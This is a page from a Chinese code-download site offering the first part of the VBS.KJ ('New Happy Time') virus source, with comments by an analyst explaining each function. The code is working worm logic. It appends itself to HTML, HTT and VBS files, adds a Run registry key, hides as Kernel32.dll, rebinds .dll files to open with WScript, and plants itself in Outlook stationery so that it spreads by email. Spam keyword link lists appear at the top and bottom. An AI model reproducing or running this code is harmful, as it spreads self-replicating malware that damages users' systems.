亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? newhappytime.txt

?? 新歡樂時光源碼
?? TXT
?? 第 1 頁 / 共 2 頁
字號:
VBS.KJ[新歡樂時光病毒]源代碼分析[轉(zhuǎn)載]

'    Virus:   VBS.KJ 
'    Analyze by DanceFire (DanceFire@263.net) 
'    2002/7/10 
' 

Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk 
Sub KJ_start() 
    '    初始化變量 
    KJSetDim() 
    '    初始化環(huán)境 
    KJCreateMilieu() 
    '    感染本地或者共享上與html所在目錄 
    KJLikeIt() 
    '    通過vbs感染Outlook郵件模板 
    KJCreateMail() 
    '    進行病毒傳播 
    KJPropagate() 
End Sub 

'    函數(shù):KJAppendTo(FilePath,TypeStr) 
'    功能:向指定類型的指定文件追加病毒 
'    參數(shù): 
'        FilePath     指定文件路徑 
'        TypeStr      指定類型 
Function KJAppendTo(FilePath,TypeStr) 
    On Error Resume Next 
    '    以只讀方式打開指定文件 
    Set ReadTemp = FSO.OpenTextFile(FilePath,1) 
    '    將文件內(nèi)容讀入到TmpStr變量中 
    TmpStr = ReadTemp.ReadAll 
    '    判斷文件中是否存在"KJ_start()"字符串,若存在說明已經(jīng)感染,退出函數(shù); 
    '    若文件長度小于1,也退出函數(shù)。 
    If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 Then 
        ReadTemp.Close 
        Exit Function 
    End If 
    '    如果傳過來的類型是"htt" 
    '        在文件頭加上調(diào)用頁面的時候加載KJ_start()函數(shù); 
    '        在文件尾追加html版本的加密病毒體。 
    '    如果是"html" 
    '        在文件尾追加調(diào)用頁面的時候加載KJ_start()函數(shù)和html版本的病毒體; 
    '    如果是"vbs" 
    '        在文件尾追加vbs版本的病毒體 
    If TypeStr = "htt" Then 
        ReadTemp.Close 
        Set FileTemp = FSO.OpenTextFile(FilePath,2) 
        FileTemp.Write "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText 
        FileTemp.Close 
        Set FAttrib = FSO.GetFile(FilePath) 
        FAttrib.attributes = 34 
    Else 
        ReadTemp.Close 
        Set FileTemp = FSO.OpenTextFile(FilePath,8) 
        If TypeStr = "html" Then 
            FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText 
        ElseIf TypeStr = "vbs" Then 
            FileTemp.Write vbCrLf & VbsText 
        End If 
        FileTemp.Close 
    End If 
End Function 

'    函數(shù):KJChangeSub(CurrentString,LastIndexChar) 
'    功能:改變子目錄以及盤符 
'    參數(shù): 
'        CurrentString    當前目錄 
'        LastIndexChar    上一級目錄在當前路徑中的位置 
Function KJChangeSub(CurrentString,LastIndexChar) 
    '    判斷是否是根目錄 
    If LastIndexChar = 0 Then 
        '    如果是根目錄 
        '        如果是C:\,返回FinalyDisk盤,并將SubE置為0, 
        '        如果不是C:\,返回將當前盤符遞減1,并將SubE置為0 
        If Left(LCase(CurrentString),1) =< LCase("c") Then 
            KJChangeSub = FinalyDisk & ":\" 
            SubE = 0 
        Else 
            KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":\" 
            SubE = 0 
        End If 
    Else 
        '    如果不是根目錄,則返回上一級目錄名稱 
        KJChangeSub = Mid(CurrentString,1,LastIndexChar) 
    End If 
End Function 

'    函數(shù):KJCreateMail() 
'    功能:感染郵件部分 
Function KJCreateMail() 
    On Error Resume Next 
    '    如果當前執(zhí)行文件是"html"的,就退出函數(shù) 
    If InWhere = "html" Then 
        Exit Function 
    End If 
    '    取系統(tǒng)盤的空白頁的路徑 
    ShareFile = Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm" 
    '    如果存在這個文件,就向其追加html的病毒體 
    '    否則生成含有病毒體的這個文件 
    If (FSO.FileExists(ShareFile)) Then 
        Call KJAppendTo(ShareFile,"html") 
    Else 
        Set FileTemp = FSO.OpenTextFile(ShareFile,2,true) 
        FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText 
        FileTemp.Close 
    End If 
    '    取得當前用戶的ID和OutLook的版本 
    DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID") 
    OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer") 
    '    激活信紙功能,并感染所有信紙 
    WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DWORD" 
    Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Stationery Name",ShareFile) 
    Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Wide Stationery Name",ShareFile) 
    WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD" 
    Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank") 
    Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank") 
    WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD" 
    Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery","blank") 
    KJummageFolder(Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery") 
End Function 


'     函數(shù):KJCreateMilieu() 
'     功能:創(chuàng)建系統(tǒng)環(huán)境 
Function KJCreateMilieu() 
    On Error Resume Next 
    TempPath = "" 
    '     判斷操作系統(tǒng)是NT/2000還是9X 
    If Not(FSO.FileExists(WinPath & "WScript.exe")) Then 
        TempPath = "system32\" 
    End If 
    '     為了文件名起到迷惑性,并且不會與系統(tǒng)文件沖突。 
    '     如果是NT/2000則啟動文件為system\Kernel32.dll 
    '     如果是9x啟動文件則為system\Kernel.dll 
    If TempPath = "system32\" Then 
        StartUpFile = WinPath & "SYSTEM\Kernel32.dll" 
    Else 
        StartUpFile = WinPath & "SYSTEM\Kernel.dll" 
    End If 
    '     添加Run值,添加剛才生成的啟動文件路徑 
    WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32",StartUpFile 
    '    拷貝前期備份的文件到原來的目錄 
    FSO.CopyFile WinPath & "web\kjwall.gif",WinPath & "web\Folder.htt" 
    FSO.CopyFile WinPath & "system32\kjwall.gif",WinPath & "system32\desktop.ini" 
    '    向%windir%\web\Folder.htt追加病毒體 
    Call KJAppendTo(WinPath & "web\Folder.htt","htt") 
    '    改變dll的MIME頭 
    '    改變dll的默認圖標 
    '    改變dll的打開方式 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\","dllfile" 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type","application/x-msdownload" 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\") 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","VBScript" 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",WinPath & TempPath & "WScript.exe ""%1"" %*" 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}" 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}" 
    '    啟動時加載的病毒文件中寫入病毒體 
    Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true) 
    FileTemp.Write VbsText 
    FileTemp.Close 
End Function 

'    函數(shù):KJLikeIt() 
'    功能:針對html文件進行處理,如果訪問的是本地的或者共享上的文件,將感染這個目錄 
Function KJLikeIt() 
    '    如果當前執(zhí)行文件不是"html"的就退出程序 
    If InWhere <> "html" Then 
        Exit Function 
    End If 
    '    取得文檔當前路徑 
    ThisLocation = document.location 
    '    如果是本地或網(wǎng)上共享文件 
    If Left(ThisLocation, 4) = "file" Then 
        ThisLocation = Mid(ThisLocation,9) 
        '    如果這個文件擴展名不為空,在ThisLocation中保存它的路徑 
        If FSO.GetExtensionName(ThisLocation) <> "" then 
            ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation))) 
        End If 
        '    如果ThisLocation的長度大于3就尾追一個"\" 
        If Len(ThisLocation) > 3 Then 
            ThisLocation = ThisLocation & "\" 
        End If 
        '    感染這個目錄 
        KJummageFolder(ThisLocation) 
    End If 
End Function 

'    函數(shù):KJMailReg(RegStr,FileName) 
'    功能:如果注冊表指定鍵值不存在,則向指定位置寫入指定文件名 
'    參數(shù): 
'        RegStr       注冊表指定鍵值 
'        FileName     指定文件名 
Function KJMailReg(RegStr,FileName) 
    On Error Resume Next 
    '    如果注冊表指定鍵值不存在,則向指定位置寫入指定文件名 
    RegTempStr = WsShell.RegRead(RegStr) 
    If RegTempStr = "" Then 
        WsShell.RegWrite RegStr,FileName 
    End If 
End Function 

'    函數(shù):KJOboSub(CurrentString) 

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲成va人在线观看| 精品欧美一区二区三区精品久久| 亚洲不卡av一区二区三区| 欧美videos大乳护士334| 日韩激情视频在线观看| 91猫先生在线| 国产一区二区三区综合| 日韩一区在线免费观看| 欧美成人精品3d动漫h| 欧美唯美清纯偷拍| 国产精品91一区二区| 午夜精品久久久久久久久久| 日韩美女视频19| 久久亚洲精品小早川怜子| 欧美日韩精品欧美日韩精品| av一二三不卡影片| 国产精品综合一区二区| 日本欧美一区二区三区乱码| 亚洲三级在线看| 国产欧美一区在线| 久久久久国产成人精品亚洲午夜| 欧美浪妇xxxx高跟鞋交| 在线视频你懂得一区| 成人av在线一区二区| 国内精品视频一区二区三区八戒| 日日摸夜夜添夜夜添精品视频| 亚洲日本青草视频在线怡红院| 中文字幕欧美日韩一区| 久久久久久**毛片大全| 2023国产精品| 欧美精品一区二区三| 日韩精品一区二| 91精品国产综合久久精品| 欧美色爱综合网| 欧美日韩一区二区三区不卡| 在线视频欧美精品| 欧美亚一区二区| 91极品美女在线| 91电影在线观看| 一本一本大道香蕉久在线精品| 懂色av噜噜一区二区三区av| 国产成人综合视频| 国产成人亚洲精品狼色在线| 国产成人三级在线观看| 成人动漫一区二区三区| 99久久免费国产| 一本大道综合伊人精品热热| 一本色道久久综合亚洲91| 91久久香蕉国产日韩欧美9色| 在线观看国产一区二区| 欧美日本高清视频在线观看| 欧美高清激情brazzers| 日韩一二三区不卡| 久久久精品天堂| 亚洲天堂精品在线观看| 亚洲电影在线免费观看| 日本少妇一区二区| 国产精品一区一区| 97se亚洲国产综合在线| 欧美日韩国产首页| 久久亚洲综合av| 国产精品欧美综合在线| 亚洲专区一二三| 免费的国产精品| 国产成人av网站| 一本色道综合亚洲| 欧美一区二区人人喊爽| 久久精品亚洲精品国产欧美 | 日韩激情视频在线观看| 蜜桃av一区二区三区电影| 麻豆精品国产传媒mv男同| 蜜乳av一区二区| av资源网一区| 欧美性猛片aaaaaaa做受| 日韩欧美一区二区三区在线| 国产亚洲成年网址在线观看| 亚洲色图视频网| 日日夜夜免费精品| 成人在线综合网| 91黄色在线观看| 久久美女艺术照精彩视频福利播放| 久久综合狠狠综合久久综合88| 日韩伦理av电影| 无吗不卡中文字幕| 成人av免费在线| 欧洲av在线精品| 国产欧美一区二区三区在线看蜜臀| 国产精品污网站| 日韩精品免费视频人成| 国产一区中文字幕| 欧美日韩一区国产| 久久久久9999亚洲精品| 亚洲成a人在线观看| 国产精品原创巨作av| 欧美日韩高清一区| 久久精品人人做人人综合 | 欧美一级二级三级蜜桃| 久久夜色精品一区| 亚洲一区二区三区精品在线| 久久国产成人午夜av影院| 91麻豆蜜桃一区二区三区| 精品国产一区二区三区四区四 | 99国产精品久久久| 精品国产精品网麻豆系列| 久久亚洲一级片| 蜜桃久久精品一区二区| 国产精品538一区二区在线| 欧美精品亚洲一区二区在线播放| 精品乱码亚洲一区二区不卡| 亚洲国产精品久久一线不卡| 久久99精品国产麻豆婷婷| 欧美亚一区二区| 久久这里都是精品| 美女脱光内衣内裤视频久久网站| 国产成人午夜精品影院观看视频| 欧美日韩国产高清一区二区 | 亚洲国产美国国产综合一区二区| 国内精品视频一区二区三区八戒| 欧美高清你懂得| 亚洲精品乱码久久久久久 | 91丝袜呻吟高潮美腿白嫩在线观看| 欧美哺乳videos| 亚洲国产sm捆绑调教视频| 欧美专区日韩专区| 国产精品素人视频| 国产高清不卡一区二区| 91精品国产综合久久精品图片| 一区二区三区日韩欧美| 粉嫩av一区二区三区| 久久久不卡网国产精品二区| 免费看精品久久片| 日韩欧美一级在线播放| 日韩国产一区二| 欧美日本在线视频| 亚洲国产cao| 4438x亚洲最大成人网| 亚洲综合色视频| 欧美在线免费播放| 国产色产综合产在线视频| 懂色av一区二区三区蜜臀 | 亚洲欧美激情视频在线观看一区二区三区| 一区二区不卡在线视频 午夜欧美不卡在| 国产91精品在线观看| 欧美日免费三级在线| 爽爽淫人综合网网站 | 欧美xxxxxxxxx| 天堂一区二区在线| 日韩欧美一级精品久久| 亚洲色图制服丝袜| 日本精品一区二区三区四区的功能| 亚洲色图在线播放| 色婷婷av一区二区三区大白胸| 亚洲一区二区三区自拍| 欧美最猛性xxxxx直播| 蜜臀av一区二区在线免费观看 | 国产精品系列在线观看| 777a∨成人精品桃花网| 精彩视频一区二区三区| 国产嫩草影院久久久久| 成人高清伦理免费影院在线观看| 综合分类小说区另类春色亚洲小说欧美| 成人免费视频视频在线观看免费| 亚洲视频1区2区| 精品视频一区三区九区| 久久超碰97中文字幕| 欧美电影精品一区二区| av亚洲精华国产精华| 亚洲电影视频在线| 91麻豆精品91久久久久同性| 国产一区二区三区四区在线观看| 国产亚洲美州欧州综合国| 一本大道久久a久久综合婷婷| 一区二区三区欧美亚洲| 欧美va亚洲va香蕉在线| 国产成人小视频| 一区二区三区欧美| 69堂成人精品免费视频| 国产成人午夜精品5599| ㊣最新国产の精品bt伙计久久| 欧美日韩免费一区二区三区视频| 久久99九九99精品| 最新成人av在线| 日韩午夜精品电影| 岛国一区二区三区| 日韩av电影免费观看高清完整版 | 国产成人在线视频免费播放| 成人欧美一区二区三区1314| 91精品国产色综合久久不卡蜜臀 | 久久午夜色播影院免费高清| 国产在线精品一区在线观看麻豆| 亚洲欧美日韩人成在线播放| 制服丝袜一区二区三区| 成人一二三区视频| 日本在线播放一区二区三区| 国产欧美va欧美不卡在线| 欧美男生操女生| 成人免费黄色在线| 黄色小说综合网站| 亚洲综合色区另类av| 国产精品成人一区二区艾草|